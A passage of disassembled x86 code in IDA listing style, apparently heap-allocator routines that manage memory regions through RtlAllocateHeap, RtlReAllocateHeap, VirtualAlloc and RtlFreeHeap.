cmp [ebp+var_20], 20h
jge short loc_4247DC
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_20]
shr edx, cl
mov [ebp+var_24], edx
mov [ebp+var_34], 0FFFFFFFFh
jmp short loc_4247F1
; ---------------------------------------------------------------------------
loc_4247DC: ; CODE XREF: sub_424790+36j
mov [ebp+var_24], 0
mov ecx, [ebp+var_20]
sub ecx, 20h
or eax, 0FFFFFFFFh
shr eax, cl
mov [ebp+var_34], eax
loc_4247F1: ; CODE XREF: sub_424790+4Aj
mov ecx, ds:dword_4F39F8
mov [ebp+var_18], ecx
loc_4247FA: ; CODE XREF: sub_424790+94j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnb short loc_424826
mov eax, [ebp+var_18]
mov ecx, [ebp+var_24]
and ecx, [eax]
mov edx, [ebp+var_18]
mov eax, [ebp+var_34]
and eax, [edx+4]
or ecx, eax
test ecx, ecx
jz short loc_42481B
jmp short loc_424826
; ---------------------------------------------------------------------------
loc_42481B: ; CODE XREF: sub_424790+87j
mov ecx, [ebp+var_18]
add ecx, 14h
mov [ebp+var_18], ecx
jmp short loc_4247FA
; ---------------------------------------------------------------------------
loc_424826: ; CODE XREF: sub_424790+70j
; sub_424790+89j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnz loc_42490D
mov eax, ds:dword_4F3A08
mov [ebp+var_18], eax
loc_42483A: ; CODE XREF: sub_424790+D7j
mov ecx, [ebp+var_18]
cmp ecx, ds:dword_4F39F8
jnb short loc_424869
mov edx, [ebp+var_18]
mov eax, [ebp+var_24]
and eax, [edx]
mov ecx, [ebp+var_18]
mov edx, [ebp+var_34]
and edx, [ecx+4]
or eax, edx
test eax, eax
jz short loc_42485E
jmp short loc_424869
; ---------------------------------------------------------------------------
loc_42485E: ; CODE XREF: sub_424790+CAj
mov eax, [ebp+var_18]
add eax, 14h
mov [ebp+var_18], eax
jmp short loc_42483A
; ---------------------------------------------------------------------------
loc_424869: ; CODE XREF: sub_424790+B3j
; sub_424790+CCj
mov ecx, [ebp+var_18]
cmp ecx, ds:dword_4F39F8
jnz loc_42490D
loc_424878: ; CODE XREF: sub_424790+104j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnb short loc_424896
mov eax, [ebp+var_18]
cmp dword ptr [eax+8], 0
jz short loc_42488B
jmp short loc_424896
; ---------------------------------------------------------------------------
loc_42488B: ; CODE XREF: sub_424790+F7j
mov ecx, [ebp+var_18]
add ecx, 14h
mov [ebp+var_18], ecx
jmp short loc_424878
; ---------------------------------------------------------------------------
loc_424896: ; CODE XREF: sub_424790+EEj
; sub_424790+F9j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnz short loc_4248E7
mov eax, ds:dword_4F3A08
mov [ebp+var_18], eax
loc_4248A6: ; CODE XREF: sub_424790+135j
mov ecx, [ebp+var_18]
cmp ecx, ds:dword_4F39F8
jnb short loc_4248C7
mov edx, [ebp+var_18]
cmp dword ptr [edx+8], 0
jz short loc_4248BC
jmp short loc_4248C7
; ---------------------------------------------------------------------------
loc_4248BC: ; CODE XREF: sub_424790+128j
mov eax, [ebp+var_18]
add eax, 14h
mov [ebp+var_18], eax
jmp short loc_4248A6
; ---------------------------------------------------------------------------
loc_4248C7: ; CODE XREF: sub_424790+11Fj
; sub_424790+12Aj
mov ecx, [ebp+var_18]
cmp ecx, ds:dword_4F39F8
jnz short loc_4248E7
call sub_424CD0
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_4248E7
xor eax, eax
jmp loc_424CC1
; ---------------------------------------------------------------------------
loc_4248E7: ; CODE XREF: sub_424790+10Cj
; sub_424790+140j ...
mov edx, [ebp+var_18]
push edx
call sub_424DE0
add esp, 4
mov ecx, [ebp+var_18]
mov edx, [ecx+10h]
mov [edx], eax
mov eax, [ebp+var_18]
mov ecx, [eax+10h]
cmp dword ptr [ecx], 0FFFFFFFFh
jnz short loc_42490D
xor eax, eax
jmp loc_424CC1
; ---------------------------------------------------------------------------
loc_42490D: ; CODE XREF: sub_424790+9Cj
; sub_424790+E2j ...
mov edx, [ebp+var_18]
mov ds:dword_4F39F8, edx
mov eax, [ebp+var_18]
mov ecx, [eax+10h]
mov [ebp+var_38], ecx
mov edx, [ebp+var_38]
mov eax, [edx]
mov [ebp+var_30], eax
cmp [ebp+var_30], 0FFFFFFFFh
jz short loc_424950
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov eax, [ebp+var_24]
and eax, [edx+ecx*4+44h]
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov esi, [ebp+var_34]
and esi, [edx+ecx*4+0C4h]
or eax, esi
test eax, eax
jnz short loc_424985
loc_424950: ; CODE XREF: sub_424790+19Bj
mov [ebp+var_30], 0
loc_424957: ; CODE XREF: sub_424790+1F3j
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov edx, [ebp+var_24]
and edx, [ecx+eax*4+44h]
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov esi, [ebp+var_34]
and esi, [ecx+eax*4+0C4h]
or edx, esi
test edx, edx
jnz short loc_424985
mov edx, [ebp+var_30]
add edx, 1
mov [ebp+var_30], edx
jmp short loc_424957
; ---------------------------------------------------------------------------
loc_424985: ; CODE XREF: sub_424790+1BEj
; sub_424790+1E8j
mov eax, [ebp+var_30]
imul eax, 204h
mov ecx, [ebp+var_38]
lea edx, [ecx+eax+144h]
mov [ebp+var_4], edx
mov [ebp+var_20], 0
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov edx, [ebp+var_24]
and edx, [ecx+eax*4+44h]
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jnz short loc_4249D2
mov [ebp+var_20], 20h
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov edx, [ebp+var_34]
and edx, [ecx+eax*4+0C4h]
mov [ebp+var_1C], edx
loc_4249D2: ; CODE XREF: sub_424790+226j
; sub_424790+259j
cmp [ebp+var_1C], 0
jl short loc_4249EB
mov eax, [ebp+var_1C]
shl eax, 1
mov [ebp+var_1C], eax
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
jmp short loc_4249D2
; ---------------------------------------------------------------------------
loc_4249EB: ; CODE XREF: sub_424790+246j
mov edx, [ebp+var_20]
mov eax, [ebp+var_4]
mov ecx, [eax+edx*8+4]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
mov eax, [edx]
sub eax, [ebp+var_28]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
sar ecx, 4
sub ecx, 1
mov [ebp+var_14], ecx
cmp [ebp+var_14], 3Fh
jle short loc_424A1C
mov [ebp+var_14], 3Fh
loc_424A1C: ; CODE XREF: sub_424790+283j
mov edx, [ebp+var_14]
cmp edx, [ebp+var_20]
jz loc_424C40
mov eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_424B0A
cmp [ebp+var_20], 20h
jge short loc_424A9F
mov eax, 80000000h
mov ecx, [ebp+var_20]
shr eax, cl
not eax
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov ecx, [edx+ecx*4+44h]
and ecx, eax
mov edx, [ebp+var_30]
mov eax, [ebp+var_38]
mov [eax+edx*4+44h], ecx
mov ecx, [ebp+var_38]
add ecx, [ebp+var_20]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_38]
add eax, [ebp+var_20]
mov [eax+4], dl
mov ecx, [ebp+var_38]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_424A9D
mov eax, 80000000h
mov ecx, [ebp+var_20]
shr eax, cl
not eax
mov ecx, [ebp+var_18]
mov edx, [ecx]
and edx, eax
mov eax, [ebp+var_18]
mov [eax], edx
loc_424A9D: ; CODE XREF: sub_424790+2F3j
jmp short loc_424B0A
; ---------------------------------------------------------------------------
loc_424A9F: ; CODE XREF: sub_424790+2AEj
mov ecx, [ebp+var_20]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov eax, [ecx+eax*4+0C4h]
and eax, edx
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+ecx*4+0C4h], eax
mov eax, [ebp+var_38]
add eax, [ebp+var_20]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_38]
add edx, [ebp+var_20]
mov [edx+4], cl
mov eax, [ebp+var_38]
add eax, [ebp+var_20]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_424B0A
mov ecx, [ebp+var_20]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+var_18]
mov ecx, [eax+4]
and ecx, edx
mov edx, [ebp+var_18]
mov [edx+4], ecx
loc_424B0A: ; CODE XREF: sub_424790+2A4j
; sub_424790:loc_424A9Dj ...
mov eax, [ebp+var_10]
mov ecx, [eax+8]
mov edx, [ebp+var_10]
mov eax, [edx+4]
mov [ecx+4], eax
mov ecx, [ebp+var_10]
mov edx, [ecx+4]
mov eax, [ebp+var_10]
mov ecx, [eax+8]
mov [edx+8], ecx
cmp [ebp+var_8], 0
jz loc_424C40
mov edx, [ebp+var_14]
mov eax, [ebp+var_4]
lea ecx, [eax+edx*8]
mov [ebp+var_C], ecx
mov edx, [ebp+var_10]
mov eax, [ebp+var_C]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_10]
mov eax, [ebp+var_C]
mov [edx+8], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+var_10]
mov [ecx+4], edx
mov eax, [ebp+var_10]
mov ecx, [eax+4]
mov edx, [ebp+var_10]
mov [ecx+8], edx
mov eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_424C40
cmp [ebp+var_14], 20h
jge short loc_424BDA
mov eax, [ebp+var_38]
add eax, [ebp+var_14]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov [edx+4], al
test ecx, ecx
jnz short loc_424BB8
mov eax, 80000000h
mov ecx, [ebp+var_14]
shr eax, cl
mov ecx, [ebp+var_18]
mov edx, [ecx]
or edx, eax
mov eax, [ebp+var_18]
mov [eax], edx
loc_424BB8: ; CODE XREF: sub_424790+410j
mov edx, 80000000h
mov ecx, [ebp+var_14]
shr edx, cl
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov eax, [ecx+eax*4+44h]
or eax, edx
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+ecx*4+44h], eax
jmp short loc_424C40
; ---------------------------------------------------------------------------
loc_424BDA: ; CODE XREF: sub_424790+3EEj
mov eax, [ebp+var_38]
add eax, [ebp+var_14]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov [edx+4], al
test ecx, ecx
jnz short loc_424C17
mov ecx, [ebp+var_14]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_18]
mov edx, [ecx+4]
or edx, eax
mov eax, [ebp+var_18]
mov [eax+4], edx
loc_424C17: ; CODE XREF: sub_424790+46Aj
mov ecx, [ebp+var_14]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov eax, [ecx+eax*4+0C4h]
or eax, edx
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+ecx*4+0C4h], eax
loc_424C40: ; CODE XREF: sub_424790+292j
; sub_424790+39Cj ...
cmp [ebp+var_8], 0
jz short loc_424C5A
mov eax, [ebp+var_10]
mov ecx, [ebp+var_8]
mov [eax], ecx
mov edx, [ebp+var_10]
add edx, [ebp+var_8]
mov eax, [ebp+var_8]
mov [edx-4], eax
loc_424C5A: ; CODE XREF: sub_424790+4B4j
mov ecx, [ebp+var_10]
add ecx, [ebp+var_8]
mov [ebp+var_10], ecx
mov edx, [ebp+var_28]
add edx, 1
mov eax, [ebp+var_10]
mov [eax], edx
mov ecx, [ebp+var_28]
add ecx, 1
mov edx, [ebp+var_10]
add edx, [ebp+var_28]
mov [edx-4], ecx
mov eax, [ebp+var_4]
mov ecx, [eax]
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov edx, [ebp+var_4]
mov [edx], eax
test ecx, ecx
jnz short loc_424CB3
mov eax, [ebp+var_18]
cmp eax, ds:dword_4F3A00
jnz short loc_424CB3
mov ecx, [ebp+var_30]
cmp ecx, ds:dword_4F39F4
jnz short loc_424CB3
mov ds:dword_4F3A00, 0
loc_424CB3: ; CODE XREF: sub_424790+501j
; sub_424790+50Cj ...
mov edx, [ebp+var_38]
mov eax, [ebp+var_30]
mov [edx], eax
mov eax, [ebp+var_10]
add eax, 4
loc_424CC1: ; CODE XREF: sub_424790+152j
; sub_424790+178j
pop esi
mov esp, ebp
pop ebp
retn
sub_424790 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424CD0 proc near ; CODE XREF: sub_424790+142p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4F3A04
cmp eax, ds:dword_4F39F0
jnz short loc_424D2B
mov ecx, ds:dword_4F39F0
add ecx, 10h
imul ecx, 14h
push ecx
mov edx, ds:dword_4F3A08
push edx
push 0
mov eax, ds:dword_4F39E8
push eax
call ds:dword_4F54AC ; RtlReAllocateHeap
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_424D13
xor eax, eax
jmp loc_424DDB
; ---------------------------------------------------------------------------
loc_424D13: ; CODE XREF: sub_424CD0+3Aj
mov ecx, [ebp+var_4]
mov ds:dword_4F3A08, ecx
mov edx, ds:dword_4F39F0
add edx, 10h
mov ds:dword_4F39F0, edx
loc_424D2B: ; CODE XREF: sub_424CD0+Fj
mov eax, ds:dword_4F3A04
imul eax, 14h
mov ecx, ds:dword_4F3A08
add ecx, eax
mov [ebp+var_4], ecx
push 41C4h
push 8
mov edx, ds:dword_4F39E8
push edx
call ds:dword_4F5418 ; RtlAllocateHeap
mov ecx, [ebp+var_4]
mov [ecx+10h], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+10h], 0
jnz short loc_424D65
xor eax, eax
jmp short loc_424DDB
; ---------------------------------------------------------------------------
loc_424D65: ; CODE XREF: sub_424CD0+8Fj
push 4
push 2000h
push 100000h
push 0
call ds:dword_4F54B4 ; VirtualAlloc
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+0Ch], 0
jnz short loc_424DA2
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
push 0
mov edx, ds:dword_4F39E8
push edx
call ds:dword_4F5414 ; RtlFreeHeap
xor eax, eax
jmp short loc_424DDB
; ---------------------------------------------------------------------------
loc_424DA2: ; CODE XREF: sub_424CD0+B6j
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_4]
mov dword ptr [edx+8], 0FFFFFFFFh
mov eax, ds:dword_4F3A04
add eax, 1
mov ds:dword_4F3A04, eax
mov ecx, [ebp+var_4]
mov edx, [ecx+10h]
mov dword ptr [edx], 0FFFFFFFFh
mov eax, [ebp+var_4]
loc_424DDB: ; CODE XREF: sub_424CD0+3Ej
; sub_424CD0+93j ...
mov esp, ebp
pop ebp
retn
sub_424CD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424DE0 proc near ; CODE XREF: sub_424790+15Bp
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov [ebp+var_8], eax
mov [ebp+var_28], 0
loc_424DFF: ; CODE XREF: sub_424DE0+36j
cmp [ebp+var_8], 0
jl short loc_424E18
mov ecx, [ebp+var_8]
shl ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+var_28]
add edx, 1
mov [ebp+var_28], edx
jmp short loc_424DFF
; ---------------------------------------------------------------------------
loc_424E18: ; CODE XREF: sub_424DE0+23j
mov eax, [ebp+var_28]
imul eax, 204h
mov ecx, [ebp+var_2C]
lea edx, [ecx+eax+144h]
mov [ebp+var_C], edx
mov [ebp+var_20], 0
jmp short loc_424E40
; ---------------------------------------------------------------------------
loc_424E37: ; CODE XREF: sub_424DE0+84j
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
loc_424E40: ; CODE XREF: sub_424DE0+55j
cmp [ebp+var_20], 3Fh
jge short loc_424E66
mov ecx, [ebp+var_20]
mov edx, [ebp+var_C]
lea eax, [edx+ecx*8]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_18]
mov [ecx+8], edx
mov eax, [ebp+var_18]
mov ecx, [ebp+var_18]
mov [eax+4], ecx
jmp short loc_424E37
; ---------------------------------------------------------------------------
loc_424E66: ; CODE XREF: sub_424DE0+64j
mov edx, [ebp+var_28]
shl edx, 0Fh
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
add ecx, edx
mov [ebp+var_10], ecx
push 4
push 1000h
push 8000h
mov edx, [ebp+var_10]
push edx
call ds:dword_4F54B4 ; VirtualAlloc
test eax, eax
jnz short loc_424E99
or eax, 0FFFFFFFFh
jmp loc_424FCA
; ---------------------------------------------------------------------------
loc_424E99: ; CODE XREF: sub_424DE0+AFj
mov eax, [ebp+var_10]
add eax, 7000h
mov [ebp+var_1C], eax
mov ecx, [ebp+var_10]
mov [ebp+var_4], ecx
jmp short loc_424EB8
; ---------------------------------------------------------------------------
loc_424EAC: ; CODE XREF: sub_424DE0+13Bj
mov edx, [ebp+var_4]
add edx, 1000h
mov [ebp+var_4], edx
loc_424EB8: ; CODE XREF: sub_424DE0+CAj
mov eax, [ebp+var_4]
cmp eax, [ebp+var_1C]
ja short loc_424F1D
mov ecx, [ebp+var_4]
mov dword ptr [ecx+8], 0FFFFFFFFh
mov edx, [ebp+var_4]
mov dword ptr [edx+0FFCh], 0FFFFFFFFh
mov eax, [ebp+var_4]
add eax, 0Ch
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov dword ptr [ecx], 0FF0h
mov edx, [ebp+var_18]
add edx, 1000h
mov eax, [ebp+var_18]
mov [eax+4], edx
mov ecx, [ebp+var_18]
sub ecx, 1000h
mov edx, [ebp+var_18]
mov [edx+8], ecx
mov eax, [ebp+var_18]
add eax, 0FECh
mov [ebp+var_24], eax
mov ecx, [ebp+var_24]
mov dword ptr [ecx], 0FF0h
jmp short loc_424EAC
; ---------------------------------------------------------------------------
loc_424F1D: ; CODE XREF: sub_424DE0+DEj
mov edx, [ebp+var_C]
add edx, 1F8h
mov [ebp+var_14], edx
mov eax, [ebp+var_10]
add eax, 0Ch
mov ecx, [ebp+var_14]
mov [ecx+4], eax
mov edx, [ebp+var_14]
mov eax, [edx+4]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_14]
mov [ecx+8], edx
mov eax, [ebp+var_1C]
add eax, 0Ch
mov ecx, [ebp+var_14]
mov [ecx+8], eax
mov edx, [ebp+var_14]
mov eax, [edx+8]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_14]
mov [ecx+4], edx
mov eax, [ebp+var_28]
mov ecx, [ebp+var_2C]
mov dword ptr [ecx+eax*4+44h], 0
mov edx, [ebp+var_28]
mov eax, [ebp+var_2C]
mov dword ptr [eax+edx*4+0C4h], 1
mov ecx, [ebp+var_2C]
movsx edx, byte ptr [ecx+43h]
mov eax, [ebp+var_2C]
mov cl, [eax+43h]
add cl, 1
mov eax, [ebp+var_2C]
mov [eax+43h], cl
test edx, edx
jnz short loc_424FAD
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_424FAD: ; CODE XREF: sub_424DE0+1BCj
mov edx, 80000000h
mov ecx, [ebp+var_28]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+var_28]
loc_424FCA: ; CODE XREF: sub_424DE0+B4j
mov esp, ebp
pop ebp
retn
sub_424DE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424FD0 proc near ; CODE XREF: sub_423620+81p
; sub_423830+BCp
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 30h
mov eax, [ebp+arg_8]
add eax, 17h
and al, 0F0h
mov [ebp+var_1C], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+10h]
mov [ebp+var_30], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
sub ecx, [eax+0Ch]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
shr edx, 0Fh
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
imul eax, 204h
mov ecx, [ebp+var_30]
lea edx, [ecx+eax+144h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
sub eax, 4
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
mov edx, [ecx]
sub edx, 1
mov [ebp+var_28], edx
mov eax, [ebp+var_14]
add eax, [ebp+var_28]
mov [ebp+var_2C], eax
mov ecx, [ebp+var_2C]
mov edx, [ecx]
mov [ebp+var_10], edx
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_28]
jle loc_4252F6
mov ecx, [ebp+var_10]
and ecx, 1
test ecx, ecx
jnz short loc_42505B
mov edx, [ebp+var_28]
add edx, [ebp+var_10]
cmp [ebp+var_1C], edx
jle short loc_425062
loc_42505B: ; CODE XREF: sub_424FD0+7Ej
xor eax, eax
jmp loc_4255B7
; ---------------------------------------------------------------------------
loc_425062: ; CODE XREF: sub_424FD0+89j
mov eax, [ebp+var_10]
sar eax, 4
sub eax, 1
mov [ebp+var_20], eax
cmp [ebp+var_20], 3Fh
jbe short loc_42507B
mov [ebp+var_20], 3Fh
loc_42507B: ; CODE XREF: sub_424FD0+A2j
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_2C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_42515D
cmp [ebp+var_20], 20h
jnb short loc_4250F2
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_20]
mov [edx+4], cl
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_4250F0
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_4250F0: ; CODE XREF: sub_424FD0+106j
jmp short loc_42515D
; ---------------------------------------------------------------------------
loc_4250F2: ; CODE XREF: sub_424FD0+C1j
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], dl
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_42515D
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_42515D: ; CODE XREF: sub_424FD0+B7j
; sub_424FD0:loc_4250F0j ...
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov eax, [ebp+var_2C]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_2C]
mov eax, [edx+4]
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_28]
add eax, [ebp+var_10]
sub eax, [ebp+var_1C]
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jle loc_4252D7
mov ecx, [ebp+var_14]
add ecx, [ebp+var_1C]
mov [ebp+var_2C], ecx
mov edx, [ebp+var_10]
sar edx, 4
sub edx, 1
mov [ebp+var_20], edx
cmp [ebp+var_20], 3Fh
jbe short loc_4251B3
mov [ebp+var_20], 3Fh
loc_4251B3: ; CODE XREF: sub_424FD0+1DAj
mov eax, [ebp+var_20]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax*8]
mov [ebp+var_18], edx
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_18]
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_18]
mov [eax+8], ecx
mov edx, [ebp+var_18]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+var_2C]
mov edx, [ecx+4]
mov eax, [ebp+var_2C]
mov [edx+8], eax
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_2C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_4252C3
cmp [ebp+var_20], 20h
jnb short loc_42525C
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], cl
test edx, edx
jnz short loc_42523A
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_42523A: ; CODE XREF: sub_424FD0+252j
mov eax, 80000000h
mov ecx, [ebp+var_20]
loc_425242: ; DATA XREF: _2:off_44F830o
shr eax, cl
loc_425244: ; DATA XREF: _2:004546F4o
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+44h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+44h], ecx
jmp short loc_4252C3
; ---------------------------------------------------------------------------
loc_42525C: ; CODE XREF: sub_424FD0+22Fj
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], cl
test edx, edx
jnz short loc_42529A
mov ecx, [ebp+var_20]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_42529A: ; CODE XREF: sub_424FD0+2ADj
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+0C4h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+0C4h], ecx
loc_4252C3: ; CODE XREF: sub_424FD0+225j
; sub_424FD0+28Aj
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_10]
mov [ecx], edx
mov eax, [ebp+var_2C]
add eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov [eax-4], ecx
loc_4252D7: ; CODE XREF: sub_424FD0+1BBj
mov edx, [ebp+var_1C]
add edx, 1
mov eax, [ebp+var_14]
mov [eax], edx
mov ecx, [ebp+var_1C]
add ecx, 1
mov edx, [ebp+var_14]
add edx, [ebp+var_1C]
mov [edx-4], ecx
jmp loc_4255B2
; ---------------------------------------------------------------------------
loc_4252F6: ; CODE XREF: sub_424FD0+70j
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_28]
jge loc_4255B2
mov ecx, [ebp+var_1C]
add ecx, 1
mov edx, [ebp+var_14]
mov [edx], ecx
